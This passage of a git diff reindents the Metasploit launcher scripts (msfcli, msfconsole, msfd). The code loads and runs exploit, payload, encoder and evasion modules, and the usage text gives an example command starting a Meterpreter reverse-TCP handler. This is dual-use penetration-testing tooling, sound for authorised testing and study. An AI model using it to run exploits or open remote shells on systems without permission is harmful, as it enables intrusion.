= '' - junk_args = [] - - @args[:params].each { |args| - var, val = args.split('=', 2) - - case var.downcase - when 'payload' - payload_param = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_payload_name(val)) - end - - when 'encoder' - encoder_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_encoder_name(val)) - end - - when 'nop' - nops_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_nop_name(val)) - end - - when 'post' - post_val = val - if val.empty? - junk_args << args - else - whitelist.concat(guess_post_name(val)) - end - end - } - - # Cleanup empty args - junk_args.each { |args| @args[:params].delete(args) } - - # If it's an exploit and no payload set, load them all. - if @args[:module_name] !~ /auxiliary\// and payload_param.empty? - whitelist << /payloads\/.+/ - end - - # Add post modules list if not set - if post_val.nil? - whitelist << /post\/.+/ - end - - # Add default encoders if not set - # This one is needed no matter what - whitelist << /encoders\/generic\/*/ - if encoder_val.nil? - if payload_param =~ /^.+\.x64.+/ - whitelist << /encoders\/x64\/.+/ - elsif payload_param =~ /^.+\.x86.+/ - whitelist << /encoders\/x86\/.+/ - else - whitelist << /encoders\/.+/ - end - end - - # Add default NOP modules if not set - if nops_val.nil? - whitelist << /nops\/.+/ - end - - whitelist - end - - - # - # Initializes exploit/payload/encoder/nop modules. - # - def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) - $stdout.puts "[*] Initializing modules..." - - module_name = @args[:module_name] - modules = { - :module => nil, # aux or exploit instance - :payload => nil, # payload instance - :encoder => nil, # encoder instance - :nop => nil # nop instance - } - - whitelist = generate_whitelist - - # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) - print("Warning: The following modules could not be loaded!\n\n") - - @framework.modules.module_load_error_by_path.each do |path, error| - print("\t#{path}: #{error}\n\n") - end - - return {} - end - - # Determine what type of module it is - if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) - elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) - else - modules[:module] = @framework.exploits.create(module_name) - if modules[:module].nil? - # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) - end - end - - if modules[:module].nil? - # Still nil? Ok then, probably invalid - return {} - end - - modules[:module].init_ui( - Rex::Ui::Text::Input::Stdio.new, - Rex::Ui::Text::Output::Stdio.new - ) - - # Import options - begin - modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - rescue Rex::ArgumentParseError => e - raise e - end - - # Create the payload to use - if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) - if modules[:payload] - modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the encoder to use - if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) - if modules[:encoder] - modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - # Create the NOP to use - if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) - if modules[:nop] - modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') - end - end - - modules - end - - - def show_summary(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) - $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] - $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] - end - - - def show_options(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] - end - - - def show_advanced(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] - end - - - def show_ids_evasion(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) - $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] - $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] - $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] - end - - - def show_payloads(m) - readable = Msf::Serializer::ReadableText - txt = "Compatible payloads" - $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) - end - - - def show_targets(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) - end - - - def show_actions(m) - readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) - end - - - def show_check(m) - begin - if (code = m[:module].check_simple( - 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, - 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) - stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' - - $stdout.puts("#{stat} #{code[1]}") - else - $stdout.puts("Check failed: The state could not be determined.") - end - rescue - $stdout.puts("Check failed: #{$!}") - end - end - - - def execute_module(m) - con = Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - { - 'Framework' => @framework, - # When I use msfcli, chances are I want speed, so ASCII art fanciness - # probably isn't much of a big deal for me. - 'DisableBanner' => true - }) - - module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') - - con.run_single("use #{module_class}/#{m[:module].refname}") - - # Assign console parameters - @args[:params].each do |arg| - k,v = arg.split("=", 2) - con.run_single("set #{k} #{v}") - end - - # Run the exploit - con.run_single("exploit") - - # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 - con.run - else - con.run_single("quit") - end - end - - - # - # Selects a mode chosen by the user and run it - # - def engage_mode(modules) - case @args[:mode].downcase - when 'h' - usage - when "s" - show_summary(modules) - when "o" - show_options(modules) - when "a" - show_advanced(modules) - when "i" - show_ids_evasion(modules) - when "p" - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support payloads") - else - show_payloads(modules) - end - when "t" - puts - if modules[:module].file_path =~ /auxiliary\//i - $stdout.puts("\nError: This type of module does not support targets") - else - show_targets(modules) - end - when "ac" - if modules[:module].file_path =~ /auxiliary\//i - show_actions(modules) - else - $stdout.puts("\nError: This type of module does not support actions") - end - when "c" - show_check(modules) - when "e" - execute_module(modules) - else - usage("Invalid mode #{@args[:mode]}") - end - end - - - def run! - if @args[:module_name] == "-h" - usage() - exit - end - - $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' - require 'msfenv' - require 'msf/ui' - require 'msf/base' - - if @args[:module_name].nil? - ext = dump_module_list - usage(nil, ext) - exit - end - - begin - modules = init_modules - rescue Rex::ArgumentParseError => e - puts "[!] Error: #{e.message}\n\n" - exit - end - - if modules[:module].nil? - usage("Invalid module: #{@args[:module_name]}") - exit - end - - # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) - - engage_mode(modules) - $stdout.puts - end + def initialize(args) + @args = {} + @indent = ' ' + @framework = nil + + @args[:module_name] = args.shift # First argument should be the module name + @args[:mode] = args.pop || 'h' # Last argument should be the mode + @args[:params] = args # Whatever is in the middle should be the params + + if @args[:module_name] =~ /^exploit(s)*\//i + @args[:module_name] = @args[:module_name].split('/') + @args[:module_name] = @args[:module_name][1, @args[:module_name].length] * "/" + end + end + + # + # Returns a usage Rex table + # + def usage (str = nil, extra = nil) + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Usage: #{$0} [mode]", + 'Indent' => 4, + 'Columns' => ['Mode', 'Description'] + ) + + tbl << ['(H)elp', "You're looking at it baby!"] + tbl << ['(S)ummary', 'Show information about this module'] + tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(A)dvanced', 'Show available advanced options for this module'] + tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] + tbl << ['(P)ayloads', 'Show available payloads for this module'] + tbl << ['(T)argets', 'Show available targets for this exploit module'] + tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] + tbl << ['(C)heck', 'Run the check routine of the selected module'] + tbl << ['(E)xecute', 'Execute the selected module'] + + tbl.to_s + + $stdout.puts "Error: #{str}\n\n" if str + $stdout.puts tbl.to_s + "\n" + $stdout.puts "Examples:" + "\n" + $stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n" + $stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n" + $stdout.puts extra + "\n" if extra + $stdout.puts + end + + + # + # Loads up everything in framework, and then returns the module list + # + def dump_module_list + # This is what happens if the user doesn't specify a module name: + # msfcli will end up loading EVERYTHING to memory to show you a help + # menu plus a list of modules available. Really expensive if you ask me. + $stdout.puts "[*] Please wait while we load the module tree..." + framework = Msf::Simple::Framework.create + ext = '' + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Exploits', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.exploits.each_module { |name, mod| + tbl << [ 'exploit/' + name, mod.new.name ] + } + ext << tbl.to_s + "\n" + + tbl = Rex::Ui::Text::Table.new( + 'Header' => 'Auxiliary', + 'Indent' => 4, + 'Columns' => [ 'Name', 'Description' ]) + + framework.auxiliary.each_module { |name, mod| + tbl << [ 'auxiliary/' + name, mod.new.name ] + } + + ext << tbl.to_s + "\n" + ext + end + + + # + # Payload naming style is kind of inconsistent, so instead of + # finding the exact path name, we provide the most educated guess (whitelist) + # based on platform/stage type/session type/payload name suffix/etc. + # + def guess_payload_name(p) + matches = [] + payload = p.split('/') + platform = payload[0] + suffix = payload[-1] + stage_types = ['singles', 'stagers', 'stages'] + session_types = ['meterpreter', 'shell'] + arch = '' + + # Rule out some possibilities + if p =~ /meterpreter/i + session_types.delete('shell') + stage_types.delete('singles') + end + if p =~ /shell\/.+$/i + session_types.delete('meterpreter') + stage_types.delete('singles') + end + + if p =~ /x64/i + arch = 'x64' + elsif p =~ /x86/i + arch = 'x86' + end + + # Determine if the payload is staged. If it is, then + # we need to load that staged module too. + if session_types.include?('shell') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/shell/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/shell/ + else + matches << /stages\/#{platform}\/shell/ + end + elsif session_types.include?('meterpreter') and stage_types.include?('stages') + if arch == 'x64' + matches << /stages\/#{platform}\/x64\/meterpreter/ + elsif arch == 'x86' + matches << /stages\/#{platform}\/x86\/meterpreter/ + else + matches << /stages\/#{platform}\/meterpreter/ + end + end + + # Guess the second possible match + stage_types *= "|" + session_types *= "|" + + if arch == 'x64' + matches << /payloads\/(#{stage_types})\/#{platform}\/x64\/.*(#{suffix})\.rb$/ + elsif arch == 'x86' + matches << /payloads\/(#{stage_types})\/#{platform}\/x86\/.*(#{suffix})\.rb$/ + else + matches << /payloads\/(#{stage_types})\/#{platform}\/.*(#{suffix})\.rb$/ + end + + matches + end + + + # + # Returns a whitelist for encoder modules + # + def guess_encoder_name(e) + [/encoders\/#{e}/] + end + + + # + # Returns a whitelist for nop modules + # + def guess_nop_name(n) + [/nops\/#{n}/] + end + + + # + # Returns a whitelist for post modules + # + def guess_post_name(p) + [/post\/#{p}/] + end + + + # + # Returns possible patterns like exploit/aux, encoders, nops we want to + # load to the whitelist. + # + def generate_whitelist + whitelist = [] + whitelist << /#{@args[:module_name]}/ # Add exploit + + # nil = not set, empty = manually set to load nothing + encoder_val = nil + nops_val = nil + post_val = nil + payload_param = '' + junk_args = [] + + @args[:params].each { |args| + var, val = args.split('=', 2) + + case var.downcase + when 'payload' + payload_param = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_payload_name(val)) + end + + when 'encoder' + encoder_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_encoder_name(val)) + end + + when 'nop' + nops_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_nop_name(val)) + end + + when 'post' + post_val = val + if val.empty? + junk_args << args + else + whitelist.concat(guess_post_name(val)) + end + end + } + + # Cleanup empty args + junk_args.each { |args| @args[:params].delete(args) } + + # If it's an exploit and no payload set, load them all. + if @args[:module_name] !~ /auxiliary\// and payload_param.empty? + whitelist << /payloads\/.+/ + end + + # Add post modules list if not set + if post_val.nil? + whitelist << /post\/.+/ + end + + # Add default encoders if not set + # This one is needed no matter what + whitelist << /encoders\/generic\/*/ + if encoder_val.nil? + if payload_param =~ /^.+\.x64.+/ + whitelist << /encoders\/x64\/.+/ + elsif payload_param =~ /^.+\.x86.+/ + whitelist << /encoders\/x86\/.+/ + else + whitelist << /encoders\/.+/ + end + end + + # Add default NOP modules if not set + if nops_val.nil? + whitelist << /nops\/.+/ + end + + whitelist + end + + + # + # Initializes exploit/payload/encoder/nop modules. + # + def init_modules + @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + $stdout.puts "[*] Initializing modules..." + + module_name = @args[:module_name] + modules = { + :module => nil, # aux or exploit instance + :payload => nil, # payload instance + :encoder => nil, # encoder instance + :nop => nil # nop instance + } + + whitelist = generate_whitelist + + # Load up all the possible modules, this is where things get slow again + @framework.init_module_paths({:whitelist=>whitelist}) + if (@framework.modules.module_load_error_by_path.length > 0) + print("Warning: The following modules could not be loaded!\n\n") + + @framework.modules.module_load_error_by_path.each do |path, error| + print("\t#{path}: #{error}\n\n") + end + + return {} + end + + # Determine what type of module it is + if module_name =~ /exploit\/(.*)/ + modules[:module] = @framework.exploits.create($1) + elsif module_name =~ /auxiliary\/(.*)/ + modules[:module] = @framework.auxiliary.create($1) + else + modules[:module] = @framework.exploits.create(module_name) + if modules[:module].nil? + # Try falling back on aux modules + modules[:module] = @framework.auxiliary.create(module_name) + end + end + + if modules[:module].nil? + # Still nil? Ok then, probably invalid + return {} + end + + modules[:module].init_ui( + Rex::Ui::Text::Input::Stdio.new, + Rex::Ui::Text::Output::Stdio.new + ) + + # Import options + begin + modules[:module].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + rescue Rex::ArgumentParseError => e + raise e + end + + # Create the payload to use + if (modules[:module].datastore['PAYLOAD']) + modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + if modules[:payload] + modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the encoder to use + if modules[:module].datastore['ENCODER'] + modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + if modules[:encoder] + modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + # Create the NOP to use + if modules[:module].datastore['NOP'] + modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + if modules[:nop] + modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') + end + end + + modules + end + + + def show_summary(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_module(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module(m[:payload], @indent)) if m[:payload] + $stdout.puts("\n" + readable.dump_module(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\n" + readable.dump_module(m[:nop], @indent)) if m[:nop] + end + + + def show_options(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent)) if m[:nop] + end + + + def show_advanced(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_advanced_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_advanced_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_advanced_options(m[:nop], @indent)) if m[:nop] + end + + + def show_ids_evasion(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_evasion_options(m[:module], @indent)) + $stdout.puts("\nPayload:\n\n" + readable.dump_evasion_options(m[:payload], @indent)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_evasion_options(m[:encoder], @indent)) if m[:encoder] + $stdout.puts("\nNOP:\n\n" + readable.dump_evasion_options(m[:nop], @indent)) if m[:nop] + end + + + def show_payloads(m) + readable = Msf::Serializer::ReadableText + txt = "Compatible payloads" + $stdout.puts("\n" + readable.dump_compatible_payloads(m[:module], @indent, txt)) + end + + + def show_targets(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_exploit_targets(m[:module], @indent)) + end + + + def show_actions(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + end + + + def show_check(m) + begin + if (code = m[:module].check_simple( + 'LocalInput' => Rex::Ui::Text::Input::Stdio.new, + 'LocalOutput' => Rex::Ui::Text::Output::Stdio.new)) + stat = (code == Msf::Exploit::CheckCode::Vulnerable) ? '[+]' : '[*]' + + $stdout.puts("#{stat} #{code[1]}") + else + $stdout.puts("Check failed: The state could not be determined.") + end + rescue + $stdout.puts("Check failed: #{$!}") + end + end + + + def execute_module(m) + con = Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + { + 'Framework' => @framework, + # When I use msfcli, chances are I want speed, so ASCII art fanciness + # probably isn't much of a big deal for me. + 'DisableBanner' => true + }) + + module_class = (m[:module].fullname =~ /^auxiliary/ ? 'auxiliary' : 'exploit') + + con.run_single("use #{module_class}/#{m[:module].refname}") + + # Assign console parameters + @args[:params].each do |arg| + k,v = arg.split("=", 2) + con.run_single("set #{k} #{v}") + end + + # Run the exploit + con.run_single("exploit") + + # If we have sessions or jobs, keep running + if @framework.sessions.length > 0 or @framework.jobs.length > 0 + con.run + else + con.run_single("quit") + end + end + + + # + # Selects a mode chosen by the user and run it + # + def engage_mode(modules) + case @args[:mode].downcase + when 'h' + usage + when "s" + show_summary(modules) + when "o" + show_options(modules) + when "a" + show_advanced(modules) + when "i" + show_ids_evasion(modules) + when "p" + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support payloads") + else + show_payloads(modules) + end + when "t" + puts + if modules[:module].file_path =~ /auxiliary\//i + $stdout.puts("\nError: This type of module does not support targets") + else + show_targets(modules) + end + when "ac" + if modules[:module].file_path =~ /auxiliary\//i + show_actions(modules) + else + $stdout.puts("\nError: This type of module does not support actions") + end + when "c" + show_check(modules) + when "e" + execute_module(modules) + else + usage("Invalid mode #{@args[:mode]}") + end + end + + + def run! + if @args[:module_name] == "-h" + usage() + exit + end + + $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + require 'fastlib' + require 'msfenv' + require 'msf/ui' + require 'msf/base' + + if @args[:module_name].nil? + ext = dump_module_list + usage(nil, ext) + exit + end + + begin + modules = init_modules + rescue Rex::ArgumentParseError => e + puts "[!] Error: #{e.message}\n\n" + exit + end + + if modules[:module].nil? + usage("Invalid module: #{@args[:module_name]}") + exit + end + + # Process special var/val pairs... + Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + + engage_mode(modules) + $stdout.puts + end end if __FILE__ == $PROGRAM_NAME - cli = Msfcli.new(ARGV) - cli.run! + cli = Msfcli.new(ARGV) + cli.run! end diff --git a/msfconsole b/msfconsole index 86b79265cb0b..8a9b0791563c 100755 --- a/msfconsole +++ b/msfconsole @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end @msfbase_dir = File.expand_path(File.dirname(msfbase)) @@ -25,126 +25,126 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'optparse' if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" + $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" + $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" + $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" end def is_svn - File.directory?(File.join(@msfbase_dir, ".svn")) + File.directory?(File.join(@msfbase_dir, ".svn")) end def print_deprecation_warning - $stdout.puts "" - $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" - $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" - $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," - $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" - $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" - $stdout.puts "[-] " - $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" - $stdout.puts "" + $stdout.puts "" + $stdout.puts "[-] Deprecation Note: Metasploit source checkouts NO LONGER update" + $stdout.puts "[-] over SVN. You will need to reinstall Metasploit using" + $stdout.puts "[-] binary installers (from http://www.metasploit.com/download )," + $stdout.puts "[-] Debian packages (currently only supported on Kali Linux), or" + $stdout.puts "[-] a development source checkout from GitHub (see http://r-7.co/ZLhA8P )" + $stdout.puts "[-] " + $stdout.puts "[-] For more on msfupdate and migrating off of SVN, see http://r-7.co/MSF-UP" + $stdout.puts "" end if is_svn - print_deprecation_warning + print_deprecation_warning end class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } - - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" - - opts.separator "" - opts.separator "Specific options:" - - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end - - opts.on("-r", "-r ", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end - - opts.on("-o", "-o ", "Output to the specified file") do |o| - options['LocalOutput'] = o - end - - opts.on("-c", "-c ", "Load the specified configuration file") do |c| - options['Config'] = c - end - - opts.on("-m", "-m ", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end - - opts.on("-p", "-p ", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end - - opts.on("-y", "--yaml ", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end - - opts.on("-M", "--migration-path ", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end - - opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end - - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end - - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end - - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end - - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end - - opts.on("-x", "-x ", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end - end - - begin - opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end - - options - end + # + # Return a hash describing the options. + # + def self.parse(args) + options = { + 'DeferModuleLoads' => true + } + + opts = OptionParser.new do |opts| + opts.banner = "Usage: msfconsole [options]" + + opts.separator "" + opts.separator "Specific options:" + + opts.on("-d", "-d", "Execute the console as defanged") do + options['Defanged'] = true + end + + opts.on("-r", "-r ", "Execute the specified resource file") do |r| + options['Resource'] ||= [] + options['Resource'] << r + end + + opts.on("-o", "-o ", "Output to the specified file") do |o| + options['LocalOutput'] = o + end + + opts.on("-c", "-c ", "Load the specified configuration file") do |c| + options['Config'] = c + end + + opts.on("-m", "-m ", "Specifies an additional module search path") do |m| + options['ModulePath'] = m + end + + opts.on("-p", "-p ", "Load a plugin on startup") do |p| + options['Plugins'] ||= [] + options['Plugins'] << p + end + + opts.on("-y", "--yaml ", "Specify a YAML file containing database settings") do |m| + options['DatabaseYAML'] = m + end + + opts.on("-M", "--migration-path ", "Specify a directory containing additional DB migrations") do |m| + options['DatabaseMigrationPaths'] ||= [] + options['DatabaseMigrationPaths'] << m + end + + opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| + options['DatabaseEnv'] = m + end + + # Boolean switches + opts.on("-v", "--version", "Show version") do |v| + options['Version'] = true + end + + opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| + options['RealReadline'] = true + end + + opts.on("-n", "--no-database", "Disable database support") do |v| + options['DisableDatabase'] = true + end + + opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| + options['DisableBanner'] = true + end + + opts.on("-x", "-x ", "Execute the specified string as console commands (use ; for multiples)") do |s| + options['XCommands'] ||= [] + options['XCommands'] += s.split(/\s*;\s*/) + end + + opts.separator "" + opts.separator "Common options:" + + opts.on_tail("-h", "--help", "Show this message") do + puts opts + exit + end + end + + begin + opts.parse!(args) + rescue OptionParser::InvalidOption + puts "Invalid option, try -h for usage" + exit + end + + options + end end options = OptsConsole.parse(ARGV) @@ -161,15 +161,15 @@ require 'msf/ui' # if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit + $stderr.puts 'Framework Version: ' + Msf::Framework::Version + exit end begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + options + ).run rescue Interrupt end diff --git a/msfd b/msfd index 411a134b0435..1852435cabf5 100755 --- a/msfd +++ b/msfd @@ -13,7 +13,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,52 +29,52 @@ require 'msf/ui' # Declare the argument parser for msfd arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address instead of loopback" ], - "-p" => [ true, "Bind to this port instead of 55554" ], - "-s" => [ false, "Use SSL" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-A" => [ true, "Specify list of hosts allowed to connect" ], - "-D" => [ true, "Specify list of hosts not allowed to connect" ], - "-h" => [ false, "Help banner" ]) + "-a" => [ true, "Bind to this IP address instead of loopback" ], + "-p" => [ true, "Bind to this port instead of 55554" ], + "-s" => [ false, "Use SSL" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-A" => [ true, "Specify list of hosts allowed to connect" ], + "-D" => [ true, "Specify list of hosts not allowed to connect" ], + "-h" => [ false, "Help banner" ]) opts = { 'RunInForeground' => true } foreground = false # Parse command line arguments. arguments.parse(ARGV) { |opt, idx, val| - case opt - when "-a" - opts['ServerHost'] = val - when "-p" - opts['ServerPort'] = val - when "-f" - foreground = true - when "-s" - opts['SSL'] = true - when "-A" - begin - opts['HostsAllowed'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -A: #{$!}" - exit - end - when "-D" - begin - opts['HostsDenied'] = val.split(',').map { |a| - Rex::Socket.resolv_nbo(a) - } - rescue - $stderr.puts "Bad argument for -D: #{$!}" - exit - end - when "-h" - print( - "\nUsage: #{File.basename(__FILE__)} \n" + - arguments.usage) - exit - end + case opt + when "-a" + opts['ServerHost'] = val + when "-p" + opts['ServerPort'] = val + when "-f" + foreground = true + when "-s" + opts['SSL'] = true + when "-A" + begin + opts['HostsAllowed'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -A: #{$!}" + exit + end + when "-D" + begin + opts['HostsDenied'] = val.split(',').map { |a| + Rex::Socket.resolv_nbo(a) + } + rescue + $stderr.puts "Bad argument for -D: #{$!}" + exit + end + when "-h" + print( + "\nUsage: #{File.basename(__FILE__)} \n" + + arguments.usage) + exit + end } $stderr.puts "[*] Initializing msfd..." @@ -84,11 +84,11 @@ $stderr.puts "[*] Running msfd..." # Fork into the background if requested begin - if (not foreground) - exit(0) if Process.fork() - end + if (not foreground) + exit(0) if Process.fork() + end rescue ::NotImplementedError - $stderr.puts "[-] Background mode is not available on this platform" + $stderr.puts "[-] Background mode is not available on this platform" end # Create an instance of the framework diff --git 